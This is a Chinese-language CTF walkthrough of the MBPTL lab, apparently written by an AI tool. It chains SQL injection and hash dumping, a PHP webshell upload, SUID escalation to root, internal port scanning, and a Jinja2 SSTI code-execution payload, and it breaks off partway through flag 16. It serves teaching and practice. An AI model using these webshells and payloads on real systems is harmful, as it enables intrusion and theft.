burpow
MBPTL_wp_by_Hermes

MBPTL_wp_by_Hermes

AI 提示词

  1. 不要偷看 docker 配置文件,按照渗透测试基本流程
  2. 对 flag14-17 的获取过程进行总结,写成 writeup,包括工具调用,要求用户可以依此 writeup 复现拿到 flag
1
hermes -c "25"

MBPTL CTF Writeup — Flag 1-8

环境信息

  • 目标:http://localhost:80
  • 技术栈:Apache 2.4.41 / Ubuntu / PHP / MySQL >= 5.6
  • 开放端口(nmap 扫描结果):
    • 80 — 主站(Library)
    • 8080 — 管理后台(Under Maintenance)
    • 其他端口(18789/18791/18792/33274)为无关服务

Flag 1 — HTML 源码注释泄露

难度:★☆☆☆☆

信息收集

访问首页,查看 HTML 源码:

1
curl -s http://localhost:80/

发现

页面底部存在 HTML 注释:

1
<!-- MBPTL-1{bf094c0b92d13d593cbff56b3c57ad4d} -->

Flag

1
MBPTL-1{bf094c0b92d13d593cbff56b3c57ad4d}

漏洞类型

信息泄露(HTML 注释中包含敏感信息)


Flag 2 — HTTP 响应头泄露

难度:★☆☆☆☆

信息收集

检查 HTTP 响应头:

1
curl -sI http://localhost:80/

发现

响应头中包含自定义头:

1
X-MBPTL: MBPTL-2{10e0daf1aefdfa42ba53f1d03dc3b7da}

该头部由 /var/www/html/inc/config.php 中的以下代码设置:

1
header("X-MBPTL: MBPTL-2{10e0daf1aefdfa42ba53f1d03dc3b7da}");

Flag

1
MBPTL-2{10e0daf1aefdfa42ba53f1d03dc3b7da}

漏洞类型

信息泄露(HTTP 响应头中包含敏感信息)


Flag 3 — 端口扫描 + 页面信息泄露

难度:★★☆☆☆

端口扫描

使用 nmap 扫描所有端口:

1
nmap -sT -T4 -p- localhost

扫描结果:

1
2
3
4
PORT      STATE SERVICE
80/tcp open http
8080/tcp open http-proxy
...

访问 8080 端口

1
curl -s http://localhost:8080

页面标题为 “Under Maintenance”,页面底部直接显示 flag:

1
<p>MBPTL-3{f74dc48447423d67699b233c461227a4}</p>

Flag

1
MBPTL-3{f74dc48447423d67699b233c461227a4}

漏洞类型

信息泄露(维护页面中直接显示敏感信息)


Flag 4 — 目录扫描 + 登录页面泄露

难度:★★☆☆☆

目录扫描

对 8080 端口进行目录扫描:

1
2
3
4
for path in admin login administrator index.php robots.txt .env; do
code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 2 "http://localhost:8080/$path")
[ "$code" != "404" ] && echo "$code - /$path"
done

发现 /administrator 返回 301 重定向。

访问登录页面

1
curl -s -L "http://localhost:8080/administrator/"

这是一个登录页面,底部直接显示 flag:

1
<p>MBPTL-4{eb75482e45154917d44882e0c4a8e68f}</p>

Flag

1
MBPTL-4{eb75482e45154917d44882e0c4a8e68f}

漏洞类型

信息泄露(登录页面中包含敏感信息)


Flag 5 — SQL 注入错误回显

难度:★★☆☆☆

发现注入点

首页存在 detail.php?id=1 参数,手动测试:

1
curl -s "http://localhost:80/detail.php?id='"

返回 SQL 错误信息:

1
2
3
Error: You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near '' LIMIT 1' at line 1

触发错误获取 Flag

触发 SQL 错误后,页面源码中会显示 flag(来自 detail.php 的错误处理逻辑):

1
<p>MBPTL-5{4bcce60b74914398c04eb5b546995408}</p>

使用 sqlmap 确认注入

1
sqlmap -u "http://localhost:80/detail.php?id=1" --batch --dbs

确认存在以下注入类型:

  • Boolean-based blind
  • Error-based (GTID_SUBSET)
  • Time-based blind
  • UNION query (5 columns)

Flag

1
MBPTL-5{4bcce60b74914398c04eb5b546995408}

漏洞类型

SQL 注入 + 错误信息泄露


Flag 6 — SQL 注入数据库提取

难度:★★★☆☆

枚举数据库

1
sqlmap -u "http://localhost:80/detail.php?id=1" --batch --dbs

发现数据库:

1
2
3
4
5
6
[*] administrator
[*] bookstore
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys

枚举表

1
sqlmap -u "http://localhost:80/detail.php?id=1" --batch -D administrator --tables

发现表:

1
2
3
4
+-------+
| flag |
| users |
+-------+

提取 Flag

1
sqlmap -u "http://localhost:80/detail.php?id=1" --batch -D administrator -T flag --dump

结果:

1
2
3
4
5
+----+-------------------------------------------+
| id | flag |
+----+-------------------------------------------+
| 1 | MBPTL-6{9fce407640f5425f688c98039bc67ee6} |
+----+-------------------------------------------+

附:提取管理员密码哈希

1
sqlmap -u "http://localhost:80/detail.php?id=1" --batch -D administrator -T users --dump # 实际上sqlmap会顺手帮你破解了

结果:

1
2
3
4
5
+----+----------------------------------+----------+
| id | password | username |
+----+----------------------------------+----------+
| 1 | 8a24367a1f46c141048752f2d5bbd14b | admin |
+----+----------------------------------+----------+

Flag

1
MBPTL-6{9fce407640f5425f688c98039bc67ee6}

漏洞类型

SQL 注入(UNION 查询提取数据库数据)


Flag 7 — 密码破解 + 管理后台

难度:★★★☆☆

前置条件

已通过 SQL 注入获取 admin 密码哈希:8a24367a1f46c141048752f2d5bbd14b

破解 MD5 哈希

使用 john 配合 fasttrack 字典:

1
2
echo "admin:8a24367a1f46c141048752f2d5bbd14b" > /tmp/admin.hash
john --format=raw-md5 --wordlist=/usr/share/wordlists/fasttrack.txt /tmp/admin.hash

破解结果:

1
P@ssw0rd!        (admin)

登录管理后台

1
2
3
curl -s -X POST "http://localhost:8080/administrator/index.php" \
-d "username=admin&password=P@ssw0rd!" \
-c /tmp/cookies.txt -L

登录成功后进入 admin.php,页面底部显示 flag:

1
<p>MBPTL-7{e77ac27271c6e54470db47228b9eca09}</p>

Flag

1
MBPTL-7{e77ac27271c6e54470db47228b9eca09}

漏洞类型

弱密码 + MD5 哈希可破解


Flag 8 — 文件上传 Getshell + 提权读取

难度:★★★★☆

前置条件

已登录管理后台(Flag 7),获得 cookie。

发现文件上传功能

admin.php 页面存在 “Insert Book” 表单,包含文件上传字段。

查看源码(通过 sqlmap –file-read):

1
2
sqlmap -u "http://localhost:80/detail.php?id=1" --batch \
--file-read="/var/www/administrator/administrator/admin.php"

关键代码:

1
2
3
4
5
6
7
8
9
10
$targetDirectory = "uploads/";
$imageName = basename($_FILES["image"]["name"]);
$imageExtension = end(explode('.', $imageName));
$targetFile = $targetDirectory . md5(time() . rand() . $imageName) . '.' . $imageExtension;

if (move_uploaded_file($_FILES["image"]["tmp_name"], $targetFile)) {
$imageLink = 'http://' . $_SERVER['HTTP_HOST'] . '/administrator/' . $targetFile;
$sql = "INSERT INTO bookstore.books (title, author, image, description) VALUES (?, ?, ?, ?)";
// ...
}

漏洞点: 文件上传仅通过前端 accept="image/*" 限制,服务端无任何文件类型验证。

上传 PHP Webshell

1
2
3
4
5
6
7
8
9
# 创建 webshell
echo '<?php echo "<pre>".shell_exec($_GET["cmd"])."</pre>"; ?>' > /tmp/cmd.php

# 上传
curl -s -b /tmp/cookies.txt -X POST "http://localhost:8080/administrator/admin.php" \
-F "title=cmd" \
-F "author=cmd" \
-F "description=cmd" \
-F "image=@/tmp/cmd.php"

获取上传文件路径

文件名格式为 md5(timestamp+rand+filename).ext,通过数据库查询获取:

1
2
sqlmap -u "http://localhost:80/detail.php?id=1" --batch \
--sql-query="SELECT image FROM bookstore.books WHERE title='cmd'"

结果:

1
http://localhost:8080/administrator/uploads/52f24944920783b804d56a27fc0bff54.php

执行命令

1
2
3
4
5
6
# 测试命令执行
curl -s "http://localhost:8080/administrator/uploads/52f24944920783b804d56a27fc0bff54.php?cmd=id"
# 输出: uid=33(www-data) gid=33(www-data) groups=33(www-data)

# 查找 flag 文件
curl -s "http://localhost:8080/administrator/uploads/52f24944920783b804d56a27fc0bff54.php?cmd=find%20/%20maxdepth%202%20-name%20%22*flag*%22%20-type%20f"

发现 /flag 目录

1
curl -s "http://localhost:8080/administrator/uploads/52f24944920783b804d56a27fc0bff54.php?cmd=ls%20-la%20/flag"

输出:

1
2
3
4
5
6
/flag:
total 16
drwxr-xr-x 1 root root 4096 Nov 19 08:38 .
drwxr-xr-x 1 root root 4096 May 11 14:23 ..
---------- 1 root root 43 Nov 19 08:31 root.txt
-rw-rw-r-- 1 root root 43 Nov 19 08:31 user.txt

读取 Flag

1
curl -s "http://localhost:8080/administrator/uploads/52f24944920783b804d56a27fc0bff54.php?cmd=cat%20/flag/user.txt"

输出:

1
MBPTL-8{e284ebd7a0008f5f3a5ca02cc3e4764b}

Flag

1
MBPTL-8{e284ebd7a0008f5f3a5ca02cc3e4764b}

备注

/flag/root.txt 权限为 0000(无任何权限),需要提权才能读取。系统存在 SUID 二进制 /usr/bin/bahs,可能用于提权。

漏洞类型

文件上传漏洞(无服务端验证) → Webshell → 任意命令执行


工具总结

工具 用途 对应 Flag
curl HTTP 请求、查看响应头/源码 1, 2, 3, 4, 5, 7, 8
nmap 端口扫描 3, 4
dirb/gobuster 目录扫描 4
sqlmap SQL 注入检测与利用 5, 6, 7, 8
john MD5 哈希破解 7

漏洞链总结

1
信息泄露(Flag1,2,3,4) → SQL注入(Flag5,6) → 密码破解(Flag7) → 文件上传(Flag8)

已知情报(供后续利用)

  • 数据库凭据:root / rootp@ssw0rd123
  • 管理员凭据:admin / P@ssw0rd!
  • /flag/root.txt 需要提权
  • /usr/bin/bahs 为 SUID 二进制(疑似提权入口)
  • 端口 18789/18791/18792/33274 有其他服务运行

MBPTL CTF Writeup — Flag 9-13

前置条件

已获取以下能力:

  • root 权限 webshell(通过文件上传 + SUID 提权)
  • SQL 注入能力(detail.php?id=)
  • Docker 内网访问能力(PHP fsockopen)

Webshell URL:

1
http://localhost:8080/administrator/uploads/0bc0f26e4aa19106efe5710fba804ac5.php?cmd=<命令>

Flag 9 — SUID 提权读取 /flag/root.txt

难度:★★★★☆

前置条件

已通过文件上传获得 www-data 权限 webshell(见 Flag 8 writeup)。

发现 SUID 二进制

通过 webshell 查找 SUID 文件:

1
curl -s "http://localhost:8080/administrator/uploads/52f24944920783b804d56a27fc0bff54.php?cmd=find%20/%20-perm%20-4000%20-type%20f%202>/dev/null"

输出中包含可疑的 /usr/bin/bahs

分析 SUID 二进制

查看文件权限:

1
curl -s "...?cmd=ls%20-la%20/usr/bin/bahs"

输出:

1
-rwsr-sr-x 1 root root 16784 Nov 19 08:31 /usr/bin/bahs

确认为 SUID root 程序。[[文件特殊权限#SUID 和 SGID]]

通过 base64 编码下载二进制文件到本地分析:
%%Linux 判断一个文件是否可执行,或者该用什么程序打开,完全不看后缀,而是看文件的“权限”和“魔数”%%

1
curl -s "...?cmd=base64%20/usr/bin/bahs" | sed 's/<pre>//' | sed 's/<\/pre>//' | base64 -d > /tmp/bahs_binary

使用 strings 分析:
%%它扫描整个文件,寻找连续出现 4 个(默认值)及以上可打印 ASCII 字符的序列,并把它们打印出来。它完全忽略了程序的逻辑结构,只做纯粹的文本提取%%

1
strings /tmp/bahs_binary

关键输出:

1
2
3
4
setuid
system
setgid
/bin/bash

使用 objdump 反汇编 main 函数:

1
objdump -d /tmp/bahs_binary | sed -n '/<main>/,/^$/p'

关键汇编代码:

1
2
3
4
5
6
7
main:
mov $0x0,%edi # uid = 0
call setuid@plt # setuid(0)
mov $0x0,%edi # gid = 0
call setgid@plt # setgid(0)
lea 0xe58(%rip),%rdi # "/bin/bash"
call system@plt # system("/bin/bash")

分析结论: 该程序先调用 setuid(0)setgid(0) 提升到 root 权限,然后执行 system("/bin/bash") 启动 root shell。

利用 SUID 提权

由于 webshell 无法获得交互式终端,需要通过 stdin 管道传递命令:

1
curl -s "...?cmd=echo%20%27cat%20/flag/root.txt%27%20|%20/usr/bin/bahs"

原理: system("/bin/bash") 执行时,bash 默认从 stdin 读取命令。通过管道将 cat /flag/root.txt 传入 stdin,bash 会以 root 权限执行该命令。

输出:

1
MBPTL-9{74ac6fef30abfc98e8532548b9742050}

补充:获取 root shell

如果需要完整的 root shell,可以创建一个 root webshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 创建 root webshell 脚本
cat > /tmp/root_shell.php << 'EOF'
<?php
if(isset($_GET["cmd"])){
$cmd = $_GET["cmd"];
file_put_contents("/tmp/r.sh", "#!/bin/bash\n" . $cmd . "\n");
chmod("/tmp/r.sh", 0777);
$output = shell_exec("echo 'bash /tmp/r.sh' | /usr/bin/bahs");
echo "<pre>" . $output . "</pre>";
}
?>
EOF

# 上传
curl -s -b /tmp/cookies.txt -X POST "http://localhost:8080/administrator/admin.php" \
-F "title=root" -F "author=root" -F "description=root" \
-F "image=@/tmp/root_shell.php"

获取上传路径:

1
2
sqlmap -u "http://localhost:80/detail.php?id=1" --batch \
--sql-query="SELECT image FROM bookstore.books WHERE title='root'" | grep "http://"

使用 root webshell 执行命令:

1
2
curl -s "http://localhost:8080/administrator/uploads/<hash>.php?cmd=id"
# 输出: uid=0(root) gid=0(root) groups=0(root),33(www-data)

Flag

1
MBPTL-9{74ac6fef30abfc98e8532548b9742050}

漏洞类型

SUID 提权(特权二进制可被滥用执行任意 root 命令)


Flag10 — Web 访问日志分析

1
cat /var/log/apache2/access.log

输出

1
2
3
FLAG10='MBPTL-10{c1835d7d28a5394b38cfbf6f813a1553}'
127.0.0.1 - - [01/Jan/2025:00:00:00 +0000] "GET / HTTP/1.1" 200 1234 "-" "curl/7.68.0"
...

Flag 11 — root .bash_history 泄露

难度:★★★★☆

前置条件

已通过 SUID 提权获得 root 权限 webshell(见 Flag 9)。

信息收集

检查 root 用户的 home 目录:

1
curl -s "http://localhost:8080/administrator/uploads/0bc0f26e4aa19106efe5710fba804ac5.php?cmd=ls%20-la%20/root/"

输出:

1
2
3
4
5
6
total 20
drwx------ 1 root root 4096 Nov 19 08:38 .
drwxr-xr-x 1 root root 4096 May 11 14:23 ..
-rw-r--r-- 1 root root 52 Nov 19 08:38 .bash_history
-rw-r--r-- 1 root root 3158 Nov 19 08:38 .bashrc
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile

读取 .bash_history

1
curl -s "...?cmd=cat%20/root/.bash_history"

输出:

1
FLAG11='MBPTL-11{c2090290b9012cd448129e26626c8cde}'

Flag

1
MBPTL-11{c2090290b9012cd448129e26626c8cde}

漏洞类型

信息泄露(bash 历史记录中包含敏感信息)


Flag 12 — root .bashrc 注入

难度:★★★★☆

前置条件

已通过 SUID 提权获得 root 权限 webshell(见 Flag 9)。

信息收集

在检查 .bash_history 时发现同目录下还有 .bashrc 和 .profile 文件。逐一检查这些文件中是否包含 flag。

读取 .bashrc

1
curl -s "...?cmd=cat%20/root/.bashrc"

文件末尾包含:

1
FLAG12='MBPTL-12{a475806f05e0416bcd8cde2d02dfde95}'

确认 .profile

1
curl -s "...?cmd=cat%20/root/.profile"

输出(无 flag):

1
2
3
4
5
6
7
# ~/.profile: executed by Bourne-compatible login shells.
if [ "$BASH" ]; then
if [ -f ~/.bashrc ]; then
. ~/.bashrc
fi
fi
mesg n 2> /dev/null || true

Flag

1
MBPTL-12{a475806f05e0416bcd8cde2d02dfde95}

漏洞类型

信息泄露(shell 配置文件中包含敏感信息)


Flag 13 — Docker 内网 Flask 服务发现

难度:★★★★★

前置条件

  • 已有 root 权限 webshell(主容器 mbptl-main 内)
  • 需要探索 Docker 内部网络

网络侦察

检查容器的网络信息:

1
curl -s "...?cmd=cat%20/etc/hosts"

输出:

1
2
3
4
5
6
7
127.0.0.1	localhost
::1 localhost ip6-localhost ip6-loopback
fe00:: ip6-localnet
ff00:: ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.20.0.2 b3a5a88f56cb

确认容器 IP 为 172.20.0.2,网络段为 172.20.0.0/24
%%字段 1 (IP 地址):172.20.0.2。这是一个内网私有 IP。172.16.0.0 ~ 172.31.255.255 是属于内网的网段。这说明这台机器处在一个隔离的内部网络中。
字段 2 (主机名):b3a5a88f56cb。看到这个由十六进制字符组成的 12 位字符串,立刻就能断定:这是一台 Docker 容器!%%

检查 ARP 表获取邻居信息:

1
curl -s "...?cmd=cat%20/proc/net/arp"

输出:

1
2
3
IP address       HW type     Flags       HW address            Mask     Device
172.20.0.1 0x1 0x2 aa:f9:b4:92:59:23 * eth0
172.20.0.3 0x1 0x2 86:05:a1:9b:18:94 * eth0

%% 它告诉你,你所在的网段至少还有 172.20.0.1(网关)和 172.20.0.3(另一台机器)是活跃的,这为下一步的网络扫描和横向移动指明了方向 %%

Docker 网关为 172.20.0.1

确认可用工具

1
curl -s "...?cmd=which+nc+curl+wget+php+python3"

输出:

1
2
/usr/bin/curl
/usr/bin/php

容器内有 curlphp,但没有 nc。需要使用 PHP 的 socket 函数进行 TCP 连接。

端口扫描

由于容器内没有 nmap,编写 PHP 脚本进行内网端口扫描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$targets = [
['172.20.0.1', 31337],
['172.20.0.1', 5000],
['172.20.0.3', 31337],
['172.20.0.3', 5000],
['172.20.0.4', 31337],
['172.20.0.4', 5000],
];

foreach ($targets as [$ip, $port]) {
$fp = @fsockopen($ip, $port, $errno, $errstr, 2);
if ($fp) {
echo "OPEN: $ip:$port\n";
stream_set_timeout($fp, 2);
$banner = fgets($fp, 1024);
echo "Banner: $banner\n";
fclose($fp);
}
}
echo "Done.\n";
?>

上传并执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
# 上传扫描脚本
curl -s -b /tmp/cookies.txt -X POST "http://localhost:8080/administrator/admin.php" \
-F "title=scan2" -F "author=scan2" -F "description=scan2" \
-F "image=@/tmp/scan2.php"

# 获取上传路径
sqlmap -u "http://localhost:80/detail.php?id=1" --batch \
--sql-query="SELECT image FROM bookstore.books WHERE title='scan2'" | grep "http://"

# 这里依http://过滤,查出来的路径是“Web 应用眼中的路径”,而不是“操作系统眼中的绝对路径”

# 执行
curl -s "http://localhost:8080/administrator/uploads/<hash>.php"

扫描结果:

1
Connected to 172.20.0.3:5000

发现 172.20.0.3 上运行着 Flask Web 服务(端口 5000)。

探测 Flask 服务

编写 PHP 脚本发送 HTTP 请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$fp = fsockopen("172.20.0.3", 5000, $errno, $errstr, 5);
if ($fp) {
$req = "GET / HTTP/1.1\r\nHost: 172.20.0.3:5000\r\nConnection: close\r\n\r\n";
fwrite($fp, $req);
stream_set_timeout($fp, 5);
while (!feof($fp)) {
$line = fgets($fp, 4096);
echo $line;
}
fclose($fp);
} else {
echo "Error: $errstr ($errno)";
}
?>

上传并执行:

1
2
3
4
5
6
7
8
9
10
11
# 上传
curl -s -b /tmp/cookies.txt -X POST "http://localhost:8080/administrator/admin.php" \
-F "title=flask" -F "author=flask" -F "description=flask" \
-F "image=@/tmp/flask.php"

# 获取路径
sqlmap -u "http://localhost:80/detail.php?id=1" --batch \
--sql-query="SELECT image FROM bookstore.books WHERE title='flask'" | grep "http://"

# 执行
curl -s "http://localhost:8080/administrator/uploads/<hash>.php"

输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.11.14
Content-Type: text/html; charset=utf-8
Content-Length: 301

<html>
<head>
<title>MBPTL - Internal Web Service</title>
</head>
<body>
<center>
<h1><b>MBPTL - Internal Web Service</b></h1>
</center>
<p>Hello, World! (/?name=)</p>
<p>MBPTL-13{b20c7cd75fd17802261d0725ae2eb733}</p>
</body>
</html>

Flag

1
MBPTL-13{b20c7cd75fd17802261d0725ae2eb733}

补充:Flask 服务详情

  • 技术栈:Python 3.11.14 + Werkzeug 3.1.3
  • 端口:5000
  • 内网 IP:172.20.0.3
  • 功能:接受 ?name= 参数,返回 Hello 消息
  • Flag 直接显示在首页

漏洞类型

内网服务发现 + 信息泄露(敏感信息在内部服务页面直接显示)


工具总结

工具 用途 对应 Flag
curl HTTP 请求、webshell 命令执行 9, 11, 12, 13
objdump SUID 二进制反汇编分析 9
strings 二进制文件字符串提取 9
base64 从容器下载二进制文件 9
sqlmap 获取上传文件路径 9, 13
PHP fsockopen Docker 内网 TCP 连接 13

关键技术点

  1. SUID 提权原理:当 SUID 程序调用 system() 时,命令以文件所有者(root)权限执行。通过 stdin 管道注入命令即可获得 root 权限。

  2. Docker 内网穿透:容器内无法直接使用 nmap/nc 等工具时,可使用 PHP fsockopen() 进行 TCP 连接和端口扫描。

  3. 文件传输技巧:容器内缺少工具时,可通过 base64 编码传输二进制文件,或通过文件上传功能部署自定义脚本。

已知情报(供后续利用)

  • Docker 内网:172.20.0.0/24
    • 172.20.0.1: Docker 网关
    • 172.20.0.2: 主容器 (mbptl-main, Apache+PHP+MySQL)
    • 172.20.0.3:5000: Flask 应用 (mbptl-app, Python 3.11)
    • 172.20.0.3:31337: 内部 TCP 二进制服务(连接被拒绝,可能在其他 IP)
  • /flag/root.txt 已读取(Flag 9)
  • /usr/bin/bahs 可用于任意 root 命令执行
  • main 二进制存在缓冲区溢出漏洞(__secret 函数调用 system(“/bin/sh”))

%% 直接访问第 4 台设备的网址就拿到了 flag16… %%


MBPTL CTF Writeup — Flag 14-17

前置条件

已获取以下能力:

  • root 权限 webshell(主容器 mbptl-main 内)
  • SQL 注入能力(detail.php?id=)
  • admin 登录凭据(admin / P@ssw0rd!)
  • 文件上传能力(admin.php 管理后台)

Root webshell URL:

1
http://localhost:8080/administrator/uploads/0bc0f26e4aa19106efe5710fba804ac5.php?cmd=<命令>

Flag 14 — SSTI 漏洞利用 (Flask 内网服务)

难度:★★★★★

前置条件

已有主容器 root webshell,需要探索 Docker 内网。

网络侦察

检查主容器网络信息:

1
curl -s "...?cmd=cat%20/etc/hosts"

输出:

1
2
127.0.0.1	localhost
172.20.0.2 b3a5a88f56cb

确认主容器 IP 为 172.20.0.2,内网段为 172.20.0.0/24

检查 ARP 表:

1
curl -s "...?cmd=cat%20/proc/net/arp"

输出:

1
2
IP address       HW type     Flags       HW address            Mask     Device
172.20.0.1 0x1 0x2 aa:f9:b4:92:59:23 * eth0

端口扫描

容器内没有 nmap/nc,编写 PHP 脚本进行内网端口扫描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$targets = [
['172.20.0.1', 31337],
['172.20.0.1', 5000],
['172.20.0.3', 31337],
['172.20.0.3', 5000],
['172.20.0.4', 31337],
['172.20.0.4', 5000],
];

foreach ($targets as [$ip, $port]) {
$fp = @fsockopen($ip, $port, $errno, $errstr, 2);
if ($fp) {
echo "OPEN: $ip:$port\n";
fclose($fp);
}
}
?>

上传并执行:

1
2
3
4
5
6
7
8
9
10
11
# 上传
curl -s -b /tmp/cookies.txt -X POST "http://localhost:8080/administrator/admin.php" \
-F "title=scan2" -F "author=scan2" -F "description=scan2" \
-F "image=@/tmp/scan2.php"

# 获取路径
sqlmap -u "http://localhost:80/detail.php?id=1" --batch \
--sql-query="SELECT image FROM bookstore.books WHERE title='scan2'" | grep "http://"

# 执行
curl -s "http://localhost:8080/administrator/uploads/<hash>.php"

输出:

1
Connected to 172.20.0.3:5000

发现 172.20.0.3 上运行 Flask Web 服务。

服务探测

编写 PHP 脚本发送 HTTP 请求:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$fp = fsockopen("172.20.0.3", 5000, $errno, $errstr, 5);
if ($fp) {
$req = "GET / HTTP/1.1\r\nHost: 172.20.0.3:5000\r\nConnection: close\r\n\r\n";
fwrite($fp, $req);
stream_set_timeout($fp, 5);
while (!feof($fp)) {
echo fgets($fp, 4096);
}
fclose($fp);
}
?>

输出显示页面接受 ?name= 参数。

SSTI 漏洞发现

测试 Jinja2 模板注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
function ssti_run($cmd) {
$payload = "{{lipsum.__globals__['os'].popen('$cmd').read()}}";
$encoded = urlencode($payload);
$fp = fsockopen("172.20.0.3", 5000, $errno, $errstr, 10);
$req = "GET /?name=$encoded HTTP/1.1\r\nHost: 172.20.0.3:5000\r\nConnection: close\r\n\r\n";
fwrite($fp, $req);
stream_set_timeout($fp, 10);
$r = "";
while (!feof($fp)) { $r .= fgets($fp, 4096); }
fclose($fp);
if (preg_match('/Hello, (.+?)<\/p>/s', $r, $m)) return trim($m[1]);
return "ERR";
}

echo ssti_run("id") . "\n";
echo ssti_run("cat /flag.txt") . "\n";
?>

关键测试结果:

Payload 结果 说明
{{7*7}} 49 确认 Jinja2 SSTI
{{config}} 泄露 Flask 配置 确认模板注入
;id ;id(原样输出) 命令注入无效
{{lipsum.__globals__['os'].popen('id').read()}} uid=65534(nobody) SSTI RCE 成功

读取 Flag

1
curl -s ".../uploads/<hash>.php"

输出:

1
2
=== cat /flag.txt ===
MBPTL-14{c64184222cff6005e728bbfc2a672fe4}

Flag

1
MBPTL-14{c64184222cff6005e728bbfc2a672fe4}

漏洞类型

SSTI(服务端模板注入)→ RCE


Flag 15 — 二进制逆向分析 (硬编码 Flag)

难度:★★★☆☆

前置条件

已有 admin 登录凭据,可访问管理后台。

下载二进制文件

admin.php 页面有下载链接 /administrator/main

1
curl -s "http://localhost:8080/administrator/main" -o /tmp/mbptl_main

基本分析

1
file /tmp/mbptl_main

输出:

1
2
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, not stripped

字符串提取

1
strings /tmp/mbptl_main

关键输出:

1
2
3
4
5
6
7
8
9
10
11
12
MBPTL-15H
{cb4ca71H
3115bfa8H
691b8577H
187a747eH
/bin/sh
=== [ MBPTL INTERNAL SERVICE ] ===
[!] Flag 16:
cat flag16.txt
__secret
[>] Name:
[*] Welcome, %s!

发现 MBPTL-15 相关的十六进制编码数据。

反汇编分析

1
objdump -d /tmp/mbptl_main | sed -n '/<main>/,/^$/p'

关键汇编代码(main 函数):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
main:
sub $0x100,%rsp # 栈空间 256 字节
; 存储 MBPTL-15 编码数据到栈上
movabs $0x35312d4c5450424d,%rax # offset -0x100
mov %rax,-0x100(%rbp)
movabs $0x313761633462637b,%rax # offset -0xf8
mov %rax,-0xf8(%rbp)
movabs $0x3861666235313133,%rax # offset -0xf0
mov %rax,-0xf0(%rbp)
movabs $0x3737353862313936,%rax # offset -0xe8
mov %rax,-0xe8(%rbp)
movabs $0x6537343761373831,%rax # offset -0xe0
mov %rax,-0xe0(%rbp)
movq $0x7d30,-0xd8(%rbp) # offset -0xd8
; 打印 banner 和 Flag 16 提示
call puts@plt # "=== [ MBPTL INTERNAL SERVICE ] ==="
call printf@plt # "[!] Flag 16: "
call system@plt # system("cat flag16.txt")
call printf@plt # "[>] Name: "
; 缓冲区溢出漏洞点
lea -0x80(%rbp),%rax # 缓冲区: rbp-0x80 (128字节)
call gets@plt # ← 漏洞:无边界检查
call printf@plt # "[*] Welcome, %s!\n"

查看 rodata 段

1
objdump -s -j .rodata /tmp/mbptl_main

输出:

1
2
3
4
5
6
7
400890 2f62696e 2f736800         /bin/sh.
4008a0 3d3d3d20 5b204d42 50544c === [ MBPTL INTE
4008b0 524e414c 20534552 564943 RNAL SERVICE ] =
4008c0 3d3d005b 215d2046 6c6167 ==.[!] Flag 16:
4008d0 00636174 20666c61 673136 .cat flag16.txt.
4008e0 5b3e5d20 4e616d65 3a2000 [>] Name: .
4008f0 5b2a5d20 57656c63 6f6d65 [*] Welcome,

十六进制解码

从汇编中提取的 64-bit 值按小端序解码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
python3 << 'EOF'
hex_values = [
0x35312d4c5450424d, # offset -0x100
0x313761633462637b, # offset -0xf8
0x3861666235313133, # offset -0xf0
0x3737353862313936, # offset -0xe8
0x6537343761373831, # offset -0xe0
0x7d30, # offset -0xd8
]

result = b''
for val in hex_values:
result += val.to_bytes(8, 'little')

flag = result.replace(b'\x00', b'').decode('ascii')
print('Flag 15:', flag)
EOF

输出:

1
Flag 15: MBPTL-15{cb4ca713115bfa8691b8577187a747e0}

解码原理

每个 movabs 指令将 8 字节数据加载到寄存器,然后存入栈上。由于 x86-64 是小端序,字节在内存中的排列需要反转:

1
2
3
4
5
6
0x35312d4c5450424d → 4d 42 50 54 4c 2d 31 35 → "MBPTL-15"
0x313761633462637b → 7b 63 62 34 63 61 37 31 → "{cb4ca71"
0x3861666235313133 → 33 31 31 35 62 66 61 38 → "3115bfa8"
0x3737353862313936 → 36 39 31 62 38 35 37 37 → "691b8577"
0x6537343761373831 → 31 38 37 61 37 34 37 65 → "187a747e"
0x7d30 → 30 7d → "0}"

Flag

1
MBPTL-15{cb4ca713115bfa8691b8577187a747e0}

漏洞类型

信息泄露(二进制文件中硬编码敏感信息)


Flag 16 — 内网服务发现 (TCP 31337)

难度:★★★★★

前置条件

已通过二进制分析知道 system("cat flag16.txt"),flag16.txt 在内部服务容器中。

内网端口扫描

编写 PHP 脚本扫描更多 IP 的 31337 端口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$ips = ["172.20.0.1", "172.20.0.2", "172.20.0.3",
"172.20.0.4", "172.20.0.5", "172.20.0.6"];
foreach ($ips as $ip) {
$fp = @fsockopen($ip, 31337, $errno, $errstr, 3);
if ($fp) {
echo "CONNECTED to $ip:31337\n";
stream_set_timeout($fp, 5);
$banner = fgets($fp, 4096);
echo "Banner: $banner\n";
fwrite($fp, "test\n");
$response = fgets($fp, 4096);
echo "Response: $response\n";
fclose($fp);
break;
} else {
echo "FAILED: $ip:31337\n";
}
}
?>

上传并执行:

1
2
3
4
5
6
7
8
9
10
11
# 上传
curl -s -b /tmp/cookies.txt -X POST "http://localhost:8080/administrator/admin.php" \
-F "title=conn31337" -F "author=conn31337" -F "description=conn31337" \
-F "image=@/tmp/conn31337.php"

# 获取路径
sqlmap -u "http://localhost:80/detail.php?id=1" --batch \
--sql-query="SELECT image FROM bookstore.books WHERE title='conn31337'" | grep "http://"

